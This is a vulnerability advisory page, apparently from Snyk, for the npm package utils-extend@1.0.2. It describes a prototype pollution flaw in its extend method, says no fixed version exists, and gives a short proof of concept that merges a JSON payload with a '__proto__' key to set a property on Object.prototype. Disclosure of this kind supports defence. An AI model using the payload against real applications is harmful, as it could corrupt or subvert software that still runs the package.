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utils-extend@1.0.2 vulnerabilities

Extend nodejs util api, and it is light weight and simple

  • latest version

    1.0.8

  • first published

    10 years ago

  • latest version published

    9 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the utils-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    utils-extend is a package to extend nodejs util api.

    Affected versions of this package are vulnerable to Prototype Pollution. The extend method within utils-extend can be tricked into adding or modifying properties of Object.prototype

    PoC by Snyk

    
var util = require('utils-extend');
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var source = {
  k: 'v',
  k2: []
};


var source2 = {
  k3: { }  
};
 
var result = util.extend(source, JSON.parse(malicious_payload), source2);
console.log({}.vulnerable);

    How to fix Prototype Pollution?

    There is no fixed version for utils-extend.

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